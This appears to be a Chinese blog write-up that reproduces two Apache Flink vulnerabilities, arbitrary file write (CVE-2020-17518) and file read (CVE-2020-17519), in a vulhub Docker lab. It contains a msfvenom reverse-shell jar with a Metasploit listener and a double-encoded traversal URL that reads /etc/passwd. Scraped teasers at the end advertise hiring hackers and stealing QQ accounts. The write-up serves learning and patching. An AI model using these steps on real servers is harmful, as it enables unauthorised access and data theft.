Apache Flink漏洞复现

访客4年前黑客文章842

简介

Apache Flink 是高效和分布式的通用数据处理平台,由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎(简单来说,就是跟spark类似)。Flink 具有监控 API,可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard,同时也可用于自定义监控工具,默认监听在8081端口。

本文涉及知识点实操练习: *** 安全事件(“ *** 安全事件”这门课程是由一些影响比较大的安全事件所模拟的测试环境组成。此课程不仅会添加以往的安全事件,而且还会紧跟时事,去添加最新的安全事件。让大家在之一时间了解,并懂得怎么去保护自身安全为目的。)

1.png

该监控?API 是 REST-ful API, 即接受 HTTP请求,并响应 *** ON格式的数据。

监控?API 中有一个API是 /jars/upload,其作用是将一个jar上传到集群。该jar必须作为多部分数据发送。确保“ Content-Type”标头设置为“ application / x-java-archive”,因为某些http库默认情况下不添加标头。可以通过curl上传jar文件

'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar"?http://hostname:port/jars/upload'

概述

Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致任意文件读取(CVE-2020-17519)和任意文件写入(CVE-2020-17518)漏洞。

CVE-2020-17518攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)。

CVE-2020-17519Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)。

影响版本

CVE-2020-17518

Apache:Apache Flink: 1.5.1 - 1.11.2

CVE-2020-17519

Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2

环境搭建

因为受到两个漏洞影响的版本都包含了1.11.2,所以统一使用这个版本进行复现

此处利用vulhub的环境进行复现,新建docker-compose.yml

version: '2'

services:

flink:

image: vulhub/flink:1.11.2

command: jobmanager

ports:

- "8081:8081"

- "6123:6123"

使用docker-compose启动该环境,执行以下命令会下载镜像并以此镜像启动一个容器,映射的端口为8081和6123

docker-compose up -d

访问http://ip:8081

2.png

漏洞复现

任意文件上传(CVE-2020-17518)复现:

Apache Flink 1.5.1引入了REST处理程序,该处理程序允许通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。

访问http://ip:8081,找到Submit New Job的Add New上传一个jar包,jar包可以在桌面新建一个压缩文件,将zip后缀修改为jar即可,然后抓包

3.png

抓到的请求包如下:

4.png

将请求包发送到repeater模块进行修改,比如我这里是在/tmp目录下新建一个文件,https://www.freebuf.com/articles/是为了方便切换路径,因为我们不知到当前的路径是什么,所以可以使用https://www.freebuf.com/articles/切换到根目录。

5.png

查看文件是否上传成功

docker ps查看容器

6.png

进入容器

docker exec -it CONTAINER ID /bin/bash

可以看到文件成功上传

7.png

flink 本身是没有鉴权的,并且它本身支持任意jar包上传并执行,所以可以通过上传jar包getshell

生成jar格式的马

lhost为kali的ip,lport为kali接收shell的端口

msfvenom -p java/shell_reverse_tcp lhost=192.168.74.142 lport=1234 -f jar >/home/a.jar

8.png

启动msf接收shell

msfconsole

use exploit/multi/handler

set payload java/shell_reverse_tcp

set LHOST 192.168.74.142

set LPORT 1234

exploit

将jar包上传后点击上传的包然后Submit

9.png

获取到shell

10.png

任意文件读取(CVE-2020-17519)复现:

Apache Flink 1.11.0中引入的更改(以及1.11.1和1.11.2中也发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。访问仅限于JobManager进程可访问的文件。

比如我这里读取/etc/下的passwd文件,%252f为/的两次url编码

http://192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

11.png

漏洞修复

官方已发布安全版本,请及时下载升级至安全版本。

https://flink.apache.org/zh/downloads.html

参考链接

https://github.com/vulhub/vulhub/tree/master/flink

https://www.anquanke.com/post/id/227668

相关文章

京东超市和京东自营的区别是什么(产品质量保障评测对比)

京东超市和京东自营的区别是什么(产品质量保障评测对比)

京东和天猫平台一样,是中国首屈一指的电子商务平台,天猫商城有各种各样天猫店,也是有天猫,一样,京东也是有天猫旗舰店和自营店。大家今日就来谈一谈京东商城的自营店,不清楚在这儿选购的产品是否真品呢?...

世界级黑客哪里找-免费盗qq的黑客(黑客网站免费盗)

世界级黑客哪里找-免费盗qq的黑客(黑客网站免费盗)

世界级黑客哪里找相关问题 全球十大黑客相关问题 黑客肉鸡怎么学 理发行业的暗语(长岛冰茶的暗语) 黑客用的软件是...

避孕药会影响月经吗(吃避孕药会导致月经不调吗)

  紧急避孕会危害月经吗(服避孕药会造成 月经失调吗)紧急避孕是很多孕产妇应用的一种避孕的方法,能合理防止怀孕,但长期性应用对人体有一定的不良反应。那麼服食紧急避孕会造成 月经失调吗?   一、服食紧...

如何做出好的产品?我总结了这三条经验

如何做出好的产品?我总结了这三条经验

编辑导读:一款好的产物可以或许给公司带来耐久利润,给用户带来耐久体验,一连缔造代价。如何做出一款好的产物?本文作者依据事情中项目实践的所思所想,并团结案例平分享了做出好产物的几个要害点,供各人一同参考...

北京故宫东华门疑发生命案,已致两人殒命(积怨已久)

北京故宮東華門疑發生命案,已致兩人殒命(積怨已久)看體育資訊,瞭解體育,瞭解天下。 北京故宮靈同變亂頻收不斷讓許多網友愛偶,昨日北京故宮東華門疑發作命案,曾經致兩人滅亡,懷疑人正在殺瞭人以後試圖...

网上找的黑客能信吗-真正黑客的联系方式(无前期费用黑客追款联系方式)

网上找的黑客能信吗-真正黑客的联系方式(无前期费用黑客追款联系方式)

网上找的黑客能信吗相关问题 怎么样找到真正的黑客相关问题 如何去除黑客 网警为啥不抓黑客(网警抓人) 黑客是怎么...